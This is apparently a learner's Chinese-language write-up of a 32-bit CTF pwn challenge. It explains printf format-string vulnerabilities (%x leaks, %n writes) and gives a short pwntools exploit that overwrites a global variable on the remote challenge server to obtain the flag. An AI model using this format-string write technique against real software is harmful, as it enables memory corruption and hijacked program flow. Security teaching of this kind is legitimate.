知识点
格式化字符串漏洞(printf)
检查保护
PIE没有保护,全局变量地址固定
IDA
逻辑很简单,输入name,输入message,然后当pwnme等于8时,自动执行cat flag操作。但是pwnme没有被赋值,也没有可操作的地方,需要把它改成8。
但是找了一圈没发现有栈溢出的地方,看wp发现是格式化字符串漏洞,只能嗯学(栈溢出还没整熟悉〒▽〒)。
格式化字符串知识点
格式化字符串(摘自CTF-WIKI)
格式化字符串函数是根据格式化字符串函数来进行解析的。那么相应的要被解析的参数的个数也自然是由这个格式化字符串所控制。比如说’%s’表明我们会输出一个字符串参数。
我们再继续以上面的为例子进行介绍
基本例子
对于这样的例子,在进入 printf 函数的之前 (即还没有调用 printf),栈上的布局由高地址到低地址依次如下
some value
3.14
123456
addr of "red"
addr of format string: Color %s...
注:这里我们假设 3.14 上面的值为某个未知的值。
在进入 printf 之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况:
当前字符不是 %,直接输出到相应标准输出。
当前字符是 %, 继续读取下一个字符:
·如果没有字符,报错
·如果下一个字符是 %, 输出 %
·否则根据相应的字符,获取相应的参数,对其进行解析并输出
那么假设,此时我们在编写程序时候,写成了下面的样子
printf(“Color %s, Number %d, Float %4.2f”);
此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?
程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为
%s 解析其地址对应的字符串
%d 解析其内容对应的整形值
%f 解析其内容对应的浮点值
对于 2,3 来说倒还无妨,但是对于对于 1 来说,如果提供了一个不可访问地址,比如 0,那么程序就会因此而崩溃。
这基本就是格式化字符串漏洞的基本原理了。
格式化字符串漏洞产生原因
使用printf时,正常用法是:printf("%s", str),
但是有人是这样用的 printf(str)
这样写仍可以输出:
因为printf函数的格式,str会被当做format参数,
使用printf的时候,format参数中的字符串是可以被输出的,
但是如果这串字符串中有基本的格式化字符串参数(%s, %n, %x, %p %n等),那么这些内容就会被当做基本的格式化字符串参数来处理,这样就出现了可利用的漏洞。
详细原因:
printf函数并不知道参数个数,它的内部有个指针,用来索检格式化字符串。对于特定类型%,就去取相应参数的值,直到索检到格式化字符串结束。
所以尽管没有参数,上面的代码也会将format string 后面的内存当做参数以16进制输出。这样就会造成内存泄露。
无参数下,各个格式化字符串类型的执行效果:
%c:输出字符,配上%n可用于向指定地址写数据。
%d:输出十进制整数,配上%n可用于向指定地址写数据。
%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。
%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。
%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。
%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位 置,
如%100×10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),
而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,
%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,
直接写4字节会导致程序崩溃或等候时间过长,
可以通过%$hn或%$hhn来适时调整。
简而言之,搞事情的重点就是通过直接用%x泄露地址通过 %n来实现:
%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。
%n$:表示的是获取格式化字符串中的指定参数,n表示第几个,上面的exp中就是指10$,即获取栈上的第11个参数。
%n:不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
解题思路
理论暂时囫囵吞枣到这里,其它知识点本体没体现,嗯看看不懂……(太菜了)
捋一下思路:
先确定printf中输出数据的偏移量,然后写EXP将pwnme的地址作为format输入到printf,进入pwnme的地址后根据printf的偏移地址将该位置的值修改为8,继续运行程序猫flag。
解题
没啥说的,标准的printf格式化字符串漏洞:(在"your message is:"之后)
在Linux下运行程序,第一次利用printf漏洞:
输入: bbbb %x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x
输入详解(猜测):
读取bbbb(刚好四字节)并存入,
用%x让printf直接输出printf函数空间里,第一个4字节长的16进制数据
用 _ 隔开方便数数
用%x让printf直接输出printf函数空间里,第二个4字节长的16进制数据
……
根据输出寻找和bbbb的十六进制相同的值所在的位置,确定偏移。
bbbb值在第十位:
由于没有PIE保护,pwnme的地址应该是固定的:(值未初始化)
后面写EXP,通过printf,将pwnme的地址输入,然后修改其值为8:
EXP
from pwn import *
p=remote('220.249.52.134',58233)
p.recvuntil("name:")
p.sendline("Pang")
p.recvuntil("please:")
p.sendline(p32(0x0804A068)+"bbbb%10$n")
# p32(0x0804A068)是32位地址,占四字节。
# %n是写入字节个数,后面再补4个就可以凑够8个,所以不用bbbbbbbb
p.interactive()
flag
cyberpeace{8865d0b8bd76be86bb1866aaeaa76737}
挖坑
1.这个流程仍旧没搞清,是按照 color,number,float的顺序读取然后寻找对应值,
以这个举例:printf(“Color %s, Number %d, Float %4.2f”,“red”,5,3.14);
3.bbbb %c_%c_%c_%c_%c_%c_%c_%c_%c_%c_%c_%c 直接用字符串输出应该更直观,但是实际乱码